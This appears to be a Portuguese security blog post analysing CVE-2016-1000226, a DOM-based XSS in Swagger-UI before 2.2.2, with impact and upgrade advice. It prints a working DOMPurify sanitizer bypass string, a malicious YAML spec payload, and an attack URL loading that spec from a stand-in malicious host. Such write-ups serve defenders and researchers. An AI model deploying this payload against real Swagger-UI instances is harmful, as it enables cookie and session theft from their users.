Análise da CVE-2016-1000226: XSS no Swagger-UI
A CVE-2016-1000226[1] se trata de uma vulnerabilidade de cross-site scripting (XSS)[2] no Swagger-UI[3]. A vulnerabilidade foi divulgada em 21 de julho de 2016 e afeta as versões anteriores à 2.2.2 do Swagger-UI. A vulnerabilidade permite que um atacante injete scripts maliciosos nos parâmetros de entrada de uma determinada API e na geração de seus documentos JSON Swagger.
Essa publicação está disponível também em: Inglês
O que é o Swagger-UI?
O Swagger-UI é uma ferramenta de código aberto utilizada para exibir especificações de uma API em uma interface gráfica amigável para desenvolvedores. É amplamente empregado para gerenciar, documentar e testar APIs, graças à sua facilidade de visualizar e interagir com APIs RESTfuls diretamente no navegador.
Essa ferramenta funciona a partir do documento Swagger, que descreve a API, usando sua biblioteca JavaScript para processar e renderizar o conteúdo graficamente na tela
Vulnerabilidade
Embora o histórico de vulnerabilidades XSS do Swagger-UI seja considerável, todas as vulnerabilidades anteriores exigiam interação do usuário para que os ataques fossem bem-sucedidos. No entanto, a atual vulnerabilidade refere-se a um DOM XSS que não requer essa interação. Como a vulnerabilidade é controlada por parâmetros de consulta, um atacante pode explorá-la sem necessidade de interação do usuário.
Essa falha se deve ao uso de uma versão desatualizada da biblioteca DOMPurify[4] em versões do Swagger-UI anteriores à 2.2.2, que impede a sanitização adequada dos parâmetros de entrada fornecidos pelo usuário.
Como a UI do Swagger renderiza as especificações da API?
O processo inicia com a criação de um documento Swagger (OpenAPI Specification), que define a estrutura da API, incluindo endpoints, métodos, parâmetros e outras informações relevantes sobre a API. Esse documento é geralmente escrito no formato YAML ou JSON.
Em seguida, ao acessar o Swagger-UI no navegador e fornecer a URL ou arquivo contendo o documento Swagger, a interface inicia o processo de carregamento do documento. Esse carregamento pode ser realizado pela URL da API, onde o documento Swagger está hospedado, ou por upload direto do arquivo.
Vamos focar na função que permite o carregamento de um documento Swagger por meio de uma URL, o que pode ser feito de duas maneiras:
- ?url=https://host/spec.yaml
- ?configUrl=https://host/file.json
Em seguida, o Swagger busca as configurações JSON ou especificações de API YAML e, então, processa e renderiza o conteúdo no navegador do usuário. Além disso, ele interpreta qualquer campo de descrição da especificação de API como um Markdown[5].
Exemplo de como as especificações YAML[6] são estruturadas:
swagger: '2.0'
info:
title: Example yaml.spec
description: This is an example text \*\*HELLO FROM MARKDOWN\*\*
paths:
/accounts:
get:
responses:
'200':
description: No response was specified
tags:
\- accounts
operationId: findAccounts
summary: Finds all accounts
Função auxiliar que usada para renderizar Markdown na UI do Swagger:
// src/components/providers/markdown.jsx
function Markdown({ source, className \= "", getConfigs }) {
... omitted ...
const md \= new Remarkable({
html: true,
typographer: true,
breaks: true,
linkTarget: "\_blank"
}).use(linkify)
md.core.ruler.disable(\["replacements", "smartquotes"\])
const { useUnsafeMarkdown } \= getConfigs()
const html \= md.render(source)
const sanitized \= sanitizer(html, { useUnsafeMarkdown })
if (\!source || \!html || \!sanitized) {
return null
}
return (
\<div className={cx(className, "markdown")} dangerouslySetInnerHTML=\>\</div\>
)
}
A função sanitizer utiliza o DOMPurify para sanitizar a string fornecida, com uma configuração adicional que proíbe explicitamente a tag <style> do HTML.
No entanto, existe uma maneira de contornar essa restrição, usando as tags <textarea> e <title> que podem “simular” o comportamento da tag <style>. Esse método funciona porque, as tags <textarea> e <title> permitem inserir CSS em um atributo HTML, papel semelhante ao que a tag <style> teria no bypass. Assim, esse comportamento é aproveitado para injetar código CSS que executa JavaScript.
A biblioteca DOMPurify utiliza pelo Swagger-UI não impede explicitamente o uso de CSS em atributos HTML, permitindo o seguinte bypass:
\<math\>\<mtext\>\<option\>\<FAKEFAKE\>\<option\>\</option\>\<mglyph\>\<svg\>\<mtext\>\<textarea\>\<a title="\</textarea\>\<img src='\#' onerror='alert(1)'\>"\>
Exploração
A exploração parte do princípio que o Swagger processa qualquer campo de descrição da especificação de API como um Markdown. Assim, basta inserir o bypass mencionado no seguinte payload:
swagger: '2.0'
info:
title: Example yaml.spec
description: |
\<math\>\<mtext\>\<option\>\<FAKEFAKE\>\<option\>\</option\>\<mglyph\>\<svg\>\<mtext\>\<textarea\>\<a title="\</textarea\>\<img src='\#' onerror='alert(document.domain)'\>"\>
paths:
/accounts:
get:
responses:
'200':
description: No response was specified
tags:
\- accounts
operationId: findAccounts
summary: Finds all accounts
Com o payload malicioso criado, basta carregar o arquivo YAML de especificações na URL da aplicação vulnerável:
https://site-vulneravel.com/swagger-ui.html?url=https://site-malicioso.com/payload-swagger-ui.yml
Evidência do payload sendo triggado:
Impacto
A exploração bem-sucedida dessa vulnerabilidade pode ter diversos impactos negativos, incluindo:
- Roubo de cookies e sessões de usuário, permitindo que um invasor assuma a identidade do usuário e acesse informações confidenciais.
- Exposição de informações sensíveis, como senhas, dados de pagamento ou outras informações pessoais.
- Acesso a serviços e funcionalidades privilegiadas, possibilitando que um invasor execute ações maliciosas em nome do usuário.
Mitigação
A vulnerabilidade XSS afeta versões do Swagger-UI anteriores à 2.2.2. Caso esteja utilizando uma versão anterior à 2.2.2, recomenda-se atualizar para a versão mais recente. Se a atualização completa do pacote não for possível, considere atualizar apenas o DOM Purify para uma versão superior à 2.2.2.
Conclusão
O problema central está na versão desatualizada da biblioteca DOMPurify, usada para sanitizar parâmetros de entrada do usuário. A exploração ocorre durante o processamento do documento Swagger, que pode conter código malicioso, especialmente nas descrições da especificação da API, onde o Swagger-UI interpreta o conteúdo como Markdown.
Os impactos potenciais de uma exploração bem-sucedida incluem o roubo de cookies e sessões de usuário, exposição de informações sensíveis e acesso a serviços privilegiados em nome do usuário da vítima.
A mitigação recomendada é atualizar o Swagger-UI para a versão 2.2.2 ou superior, ou, caso a atualização completa do pacote não seja possível, atualizar apenas o DOMPurify para uma versão superior à 2.2.2 é recomendado.
Referências